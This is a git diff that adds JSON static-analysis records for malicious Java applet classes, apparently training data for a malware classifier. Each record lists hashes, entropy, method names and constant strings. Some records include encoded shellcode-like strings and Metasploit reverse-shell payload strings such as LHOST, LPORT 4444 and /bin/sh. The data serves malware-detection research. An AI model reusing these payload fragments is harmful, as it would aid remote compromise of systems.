diff --git a/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results b/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results
new file mode 100755
index 0000000..8b9c5c5
--- /dev/null
+++ b/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/wjqinyfrl", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tblcfyqytzsuzr", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "c8f1e52b-ff56-45be-8615-24f3add2f4c6", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0adb6e15e4c09cb13f979af8e0fe35f9d32b9c67", "file_name": "java_malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664", "_id": "c8f1e52b-ff56-45be-8615-24f3add2f4c6", "score": 0, "entropy": 5.2089073497636065, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6953, "ssdeep": "96:KMHcfOZuulJzdbT+G6Shwy0Swo8pS2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T8mDlrZ5xEpSxhi/To55UTYwa5hGX1", "sha256": "166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664", "md5": "705b88098b4ba51f1de62161fd541ff3", "parent_sha256": "166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results b/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results
new file mode 100755
index 0000000..cff93a6
--- /dev/null
+++ b/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/vgtqfmcecyhv", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "xodiqxsqgbkxqua", "hpdgluddyaaenllj", "enmzvevqluduynhq", "zdyxfbzrofbtluresus", "zvdypjrdldwheobldg", "dmcmcbgrinqnxqaqx", "vqqlqxxflaea", "ojfeogeexrpkkhui", "sihdejxzkvykprczmmb", "opasdivtfxokewgylrl", "kknjkiakrenxkft", "phzvcdmomexqquv", "clnpameyesfzojdez"], "minor_version": 0, "const_pool_count": 205}}, "_id": "3831c5cd-17ed-48af-8774-d5978734341e", "verbose": {"java": {"constant strings": ["gpfmteeqitgpaoi", "hutnnb", "vg", "mbe", "gjzibrojopugwcd", "zoma", "fmmwgizovoddnb", "a", "aqomfwj", "x", "qdx", "orlloyw", "lyvwxsmjvvewc", "uqyfiubyuarr", "udtayinvki", "ehaqtupfc", "eoqgrojx", "jox", "znqwxebggwiqrw", "pmehlrt", "jrfuxiinfhfs", "g", "lc", "lrifa", "hsgencfbr", "udglpzting", "gklamxlfsn", "gpkxxanzcemlyqu", "qgcnjnakdcgmit", "ldagsbigdu", "zk", "felkurpx", "y", "mjqesfy", "uakzqofpschbs", "eemtinnpp", "mm", "vasehnkphnujs", "ixmei", "ccuzger", "yoeockfd", "gwzno", "ckhb", "bzl", "iikoosr", "eudjqfwa", "gfttyxkw", "fnzch"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "737e93de856f1609ae7ec89d088cd1c961821135", "file_name": "java_malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110", "_id": "3831c5cd-17ed-48af-8774-d5978734341e", "score": 0, "entropy": 5.653492700256877, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4224, "ssdeep": "48:lOpIwerrri0GPrrhkyM8lmpMZT/2CwoZQHuySalwqcGloVgEj3gYS2qEPvSSluMM:yFpxVBldUHuKwqhrEjxbDkczs5", "sha256": "169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110", "md5": "2653a249956c9a53e4793b07136f1e67", "parent_sha256": "169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results b/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results
new file mode 100755
index 0000000..e2e6014
--- /dev/null
+++ b/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "e160cd40-caa0-4e92-ab46-5c5f0dc487a7", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "2c7d9890-417c-4f9c-bdf1-12ddc738f091", "metadata": {"mimetype": "text/plain", "sha1": "6ae1ba10717f9e40a2beb1e6298f1d33f524f2e6", "file_name": "long string 0", "_id": "2c7d9890-417c-4f9c-bdf1-12ddc738f091", "score": 0, "entropy": 4.707023133893146, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1283, "ssdeep": "24:ELLibOLSxAzfLvy2q1z3XhSc+4iIF1lm5ef7neuzY7tTSAFHKovL+S:EvVL8Sby2YsXGceTneKxAFHKg+S", "sha256": "4d894ddc4f9d8b11bbf2964b8fd11a74e7922526123b77a47e23c61edaafdf0b", "md5": "0c9d8e552f58a6893dc0d951429950b5", "parent_sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec"}}], "combined strings entropy": 4.755240227429415, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "IIIIIIIIIIIIIIII"}}}, "constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PN,pL,Pl,PL,PL,PN,pn,pm,9y,kE,Pg,pu,Pa,O3,Tm,qV,PS,0E,Pe,PN,k3,pT,LN,kD,05,Ln,Mn,kC,X1,0m,PQ,mt,Ld,sp,tS,3j,6Z,KL,3N,ku,8S,8N,k9,gq,z3,4p,Yj,HL,OU,PG,pw,pM,2K,I1,xr,OB,NS,0u,P3,Xb,Ut,2R,Lp,mp,TK,Of,vL,KK,X9,xt,9w,pu,P5,PN,kN,7Q,Wo,pG,OW,pp,uz,ZS,wS,ga,Wm,PE,oU,Pt,5Z,Zn,kJ,O3,o4,sO,9N,a8,lg,tf,a3,0U,Pn,kK,lV,1c,b6,3R,Ht,D5,QW,pU,Py,oP,Vv,lr,z2,yF,1p,Rl,Kd,B6,3B,cm,Pg,Kw,p4,5k,Jk,1s,Kk,L6,NQ,uC,HQ,u2,UW,sk,3X,kT,HO,y5,SO,72,cW,tD,nr,Es,Hb,EK,vS,ss,87,pQ,Km,ZK,q5,TV,Pm,XQ,Uu,PV,Sk,p0,PP,P6,3P,WR,pK,OR,vd,Po,sy,h3,0P,u4,Fr,Ju,QP,Si,op,Vw,tS,jp,YM,SY,R6,dQ,QK,0w,JU,PQ,ex,4k,Oq,Fs,8p,QC,fL,Kd,5G,Ll,K2,TT,u4,8S,3j,Up,Vn,kp,v7,Pe,S8,u4,so,91,YS,qL,mV,ci,UV,Sy,KT,Oo,NF,p7,Hk,B1,dG,xo,1X,Kf,mW,sZ,z7,0J,Kz,QW,KU,O0,uK,Wq,Nn,kS,nU,tu,S9,Ms,VN,kT,LP,Kn,kq,NU,Ls,3Y,ML,Kt,Dl,Kt,CX,EL,k1,Nr,yO,3M,8u,Pk,Oy,oY,oN,np,NT,NJ,LN,xK,Nn,j4,NC,NJ,xK,Ra,cT,sK,zl,J3,ku,fw,jv,O4,01,Vw,8R,Og,1p,Vf,0p,jR,FC,0S,XP,tR,Tt,0w,J4,o6,O0,zS,Q3,Sq,uq,vS,Qd,nQ,yP,np,f2,OF,O0,pc,Q5,71,uv,OS,RQ,ud,3T,4V,Np,pa,xT,0F,O2,ND,pp,04,rT,qp,0P,6w,B6,PV,QV,SD,pP,40,rt,p6,Tt,pp,9q,ZD,qf,QP,0P,0F,PW,FT,pD,qs,bP,aD,sD,xb,DU,2R,Ew,DP,fp,WT,vu,et,qF,R3,Rs,Uu,3v,P6,8P,30,ft,qv,Uu,f6,Ps,U5,cS,it,w6,Sp,30,14,uu,de,6b,Ep,Zf,Pu,at,p0,0p,fP,0t,xF,PC,0u,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "acd5d1bc6081b945ea6325d7977155f394aa2848", "file_name": "java_malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec", "_id": "e160cd40-caa0-4e92-ab46-5c5f0dc487a7", "score": 0, "entropy": 6.13591172715866, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "96:6FlHptYFceTnlxUKF5Q+EiTNNkez/j83Ifh:QlvYFceRxBFj37nr83Ip", "sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec", "md5": "7c4a1942959c603e8a88f8c547e6ade9", "parent_sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results b/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results
new file mode 100755
index 0000000..b74b837
--- /dev/null
+++ b/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Zixi2.java", "class_name": "like/Zixi2", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tuttt"], "minor_version": 0, "const_pool_count": 70}}, "_id": "774159e9-dc48-4f92-9bbe-ac58b185f2e5", "verbose": {"java": {"constant strings": ["oregjoergjpergijperjigpeirjpgierjpgijer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ce35d5133a11b88681911ce46b683196666219a", "file_name": "java_malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a", "_id": "774159e9-dc48-4f92-9bbe-ac58b185f2e5", "score": 0, "entropy": 5.422541840194757, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1422, "ssdeep": "24:vAy8kAlj6sFSl4+EZ8Y6JD5K8zZdMW/06rvsruA3Q5:vAy8kAlGgS+AD/MW/fsyA3Q5", "sha256": "16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a", "md5": "7f04e812a208fdb40b2da4c3ae3e8d21", "parent_sha256": "16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results b/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results
new file mode 100755
index 0000000..68c45e6
--- /dev/null
+++ b/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ulnAOYuu.java", "class_name": "aHrMCrboe/ulnAOYuu", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "WGFXiwBBT", "bNMxXyU", "xGVCm", "VKLYmKnL", "yyujfXNhM", "ixsydAE", "pjjCvT"], "minor_version": 0, "const_pool_count": 100}}, "_id": "ed5aa9b0-b7fa-41eb-9281-ea5dbe2b1c1b", "verbose": {"java": {"constant strings": ["$/8/`8+<=\\'! ", "\\x11", "\\x12`", "~~", "c"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b2a879bc6155bf9cdea63b70f5954f91a32c1169", "file_name": "java_malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3", "_id": "ed5aa9b0-b7fa-41eb-9281-ea5dbe2b1c1b", "score": 0, "entropy": 5.516707417688044, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1862, "ssdeep": "48:l3FyFluokrV8YUeGJv/9t52u63ibkk6gKJ:RQFlSrV8t3d2l3/dX", "sha256": "16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3", "md5": "b4174275279d7dfc18bb9d05f9395525", "parent_sha256": "16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results b/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results
new file mode 100755
index 0000000..dc3ed23
--- /dev/null
+++ b/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results b/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results
new file mode 100755
index 0000000..c2226e6
--- /dev/null
+++ b/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "ia/classprotect/Start", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "a", "<clinit>"], "minor_version": 3, "const_pool_count": 106}}, "_id": "e071cc04-ee7c-4d6b-ae02-8f79a053544c", "verbose": {"java": {"constant strings": ["$kS_S,y\\x0eLM\"~\\x18_KcY\\t]M9", "$kST", " k\\x14R"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ad587648867a051fc920de75138032c371323934", "file_name": "java_malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc", "_id": "e071cc04-ee7c-4d6b-ae02-8f79a053544c", "score": 0, "entropy": 5.6527131414032805, "libmagic": "compiled Java class data, version 45.3", "file_size": 1703, "ssdeep": "48:ZK9MyyyihpFxZ6cHwAQ312C+PV4zgek3z/E:KO3hTn6gNAgeu/E", "sha256": "18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc", "md5": "cb902e0b3725bdcb2e35e12058b5967a", "parent_sha256": "18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc"}}
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diff --git a/java_classification/data/malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a.results b/java_classification/data/malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a.results
new file mode 100755
index 0000000..204cad0
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diff --git a/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results b/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results
new file mode 100755
index 0000000..3a3f469
--- /dev/null
+++ b/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1.results b/java_classification/data/malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1.results
new file mode 100755
index 0000000..4f63632
--- /dev/null
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diff --git a/java_classification/data/malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f.results b/java_classification/data/malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f.results
new file mode 100755
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diff --git a/java_classification/data/malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71.results b/java_classification/data/malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71.results
new file mode 100755
index 0000000..da74791
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diff --git a/java_classification/data/malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00.results b/java_classification/data/malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00.results
new file mode 100755
index 0000000..2a9f2e7
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diff --git a/java_classification/data/malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7.results b/java_classification/data/malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7.results
new file mode 100755
index 0000000..9af3b92
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3.results b/java_classification/data/malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3.results
new file mode 100755
index 0000000..2f71cd3
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28.results b/java_classification/data/malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28.results
new file mode 100755
index 0000000..6242f53
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results b/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results
new file mode 100755
index 0000000..cb43969
--- /dev/null
+++ b/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "metasploit/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["main", "writeEmbeddedFile", "<init>", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 615}}, "_id": "be7265bc-e98e-4c2f-bb51-bc45d61961bf", "verbose": {"java": {"constant strings": ["metasploit.Payload", ".class", "/metasploit.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "metasploit.dat", "URL", "", "https:", "metasploit/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "metasploit/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "call:", "getIn", "metasploit.PayloadTrustManager", "useFor", "java.net.URLConnection", "metasploit.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "43f02bcdb62941ab9a44f10e88132ad9ff7303ea", "file_name": "java_malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31", "_id": "be7265bc-e98e-4c2f-bb51-bc45d61961bf", "score": 0, "entropy": 6.121316210053115, "libmagic": "compiled Java class data, version 45.3", "file_size": 9589, "ssdeep": "96:t3DD1uoO2FtVBHwX9aiSMybW8KUNZ1Ipvq2ms2N49ZFqO7WrtRjtxMg7:RRhtvHemMyb5jNZqpvhxg4JqO7G3nn", "sha256": "20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31", "md5": "f27b48a25cfcc388ca275d67a908d294", "parent_sha256": "20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results b/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results
new file mode 100755
index 0000000..933f056
--- /dev/null
+++ b/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 116}}, "_id": "4a62d5e0-a6cf-46a8-8394-239f9d90346b", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pZ,0z,0z,0N,pN,pL,Pn,pL,PN,py,xU,PU,Pu,Pu,Pz,KC,0K,Yk,Lg,pU,Pc,0Q,OU,4o,QF,Pg,p7,ps,0P,x6,ll,Ka,P4,LL,KP,pg,ll,ml,KQ,xE,X8,k7,yL,KC,pW,DL,Mc,p3,LN,kR,Hg,Ll,KL,73,Zt,Df,9M,8N,oW,pw,pw,pZ,BJ,Y3,Xr,O2,NE,PW,pQ,x2,US,BP,lB,Ms,d9,o7,fl,KK,Xy,xr,Yw,ps,0g,pl,KZ,ws,wo,pw,Og,pQ,e9,jp,Gr,ws,wO,pE,oU,Pt,58,zn,kX,oC,op,3k,ym,Qx,lv,dV,aW,pE,Pl,Ky,LP,QR,rp,Sq,xc,4w,qu,Pg,pK,Op,V4,Lq,Jp,YR,qQ,Bl,K5,Rc,ca,Sm,PG,KU,Pp,uK,Jk,13,K9,lD,nS,Ur,Xs,Ut,5w,sM,Sj,KV,hO,ys,3z,gs,sv,d4,nQ,uC,Hp,eK,v1,SG,x7,ps,kO,zi,QS,4t,pL,Hq,U3,0t,sy,Pv,0r,p2,ss,gP,Pi,oq,FV,pm,Sx,xu,Ps,EF,fP,j3,1q,Ci,os,fG,tq,JP,Ym,SK,r4,Ds,qK,05,jW,pc,EM,di,oR,vU,X2,qB,vL,KR,U7,LN,kD,4v,Ns,H3,3L,5c,fL,KC,Fg,P6,cY,eV,SY,Yc,yR,al,me,Si,UW,CK,kT,Om,nt,Pe,jH,VP,t6,hJ,aZ,k6,mF,cK,j3,p8,kJ,Qw,Kw,o2,U9,wS,nL,K1,Nw,Tt,Cy,M1,vl,Kt,Lb,kn,k1,NW,lw,sk,mL,KG,tL,Kd,CH,En,K1,N0,YY,Sy,xk,Oy,nI,oK,OL,N0,Nv,nJ,LN,x9,nm,ZV,nC,NH,XI,rs,Ct,sJ,jO,z3,kT,vf,zF,O0,pP,T0,Ov,2s,Us,0b,HT,4s,Dr,P4,zT,of,OQ,rr,Es,Rp,or,QP,e4,nU,9P,ne,6P,of,OE,3p,gs,YF,MU,2Q,yb,NV,Op,l0,oc,WC,YP,nD,nC,XP,tb,Mr,LV,OS,Jt,pt,pf,Xv,Qf,Pd,v7,Bt,pe,a0,3t,q6,XR,Rt,pt,pP,1d,sP,JV,PU,6v,PT,pp,0W,FF,Pv,Qf,2Q,ue,1g,B6,RD,y4,wv,RU,bf,75,54,u0,as,Ug,DF,WV,P6,Wb,xU,fd,sP,cu,g6,Ub,DT,rf,V0,Ye,bt,xR,BT,tV,VS,Q5,5t,sP,ZF,PP,1F,P4,pP,ft,pF,W6,Pg,pu,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "u", "abs", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "caa1fde6dd4970acfcf34204c471f9f06798d4eb", "file_name": "java_malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6", "_id": "4a62d5e0-a6cf-46a8-8394-239f9d90346b", "score": 0, "entropy": 6.106701153002516, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3577, "ssdeep": "96:TwFlmyI20fvCrsWOBWKLce58rSCjtrbF8y4cM:mlmKgyKLce5cXpDnM", "sha256": "205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6", "md5": "3b0af5a0e77db053768dffe8eb6b0b02", "parent_sha256": "205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results b/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results
new file mode 100755
index 0000000..55a6adb
--- /dev/null
+++ b/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/fagmyvqipdtal", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "ozaunsjmrn", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "5e8f40bc-4f97-40f4-8982-2c2c22b78616", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdf9eb26d3d8498fc96882cac32149094939334b", "file_name": "java_malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6", "_id": "5e8f40bc-4f97-40f4-8982-2c2c22b78616", "score": 0, "entropy": 5.220312242028212, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6978, "ssdeep": "192:TAx7SPiGh0OoWYHpHZxhi/To55UTYwa5hGX1:dlh0OJgHZyTofUTkc1", "sha256": "20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6", "md5": "96362ef1bfcfd77587cefd87dd4917dd", "parent_sha256": "20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results b/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results
new file mode 100755
index 0000000..698e825
--- /dev/null
+++ b/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "PPtflFql.java", "class_name": "JGXgwWYpp/PPtflFql", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "GzTmSiw", "stkqloy", "<clinit>"], "minor_version": 0, "const_pool_count": 355}}, "_id": "19a3715f-48b2-4401-b991-2e8497964f5c", "verbose": {"java": {"constant strings": ["\\x08\\n\\x1f", "\\x15\\x19\\x18\\x15\\x18", "\\x1f\\x0b\\x1b\\t\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "101647deb57136012af005dc056eb3a64a54de66", "file_name": "java_malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752", "_id": "19a3715f-48b2-4401-b991-2e8497964f5c", "score": 0, "entropy": 5.278040284982172, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6731, "ssdeep": "96:o/ydFTQV8FFlb8wInFHK+p0vXvHPffJmldDR:oGTQglb8wIlK+W/P3hcR", "sha256": "2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752", "md5": "4be769ab16b3e7d1fb5fec35a36390ab", "parent_sha256": "2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results b/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results
new file mode 100755
index 0000000..795c546
--- /dev/null
+++ b/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "EMWDppjowZ/wPzCdlz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "f68708c2-3185-4fab-bc4b-87d595dc3a56", "verbose": {"java": {"constant strings": ["EMWDppjowZ.wPzCdlz", ".class", "/EMWDppjowZ.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EMWDppjowZ.dat", "URL", "", "https:", "EMWDppjowZ/wPzCdlzTrustManager.class", "wPzCdlzTrustManager.class", "AESPassword", "EMWDppjowZ/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", 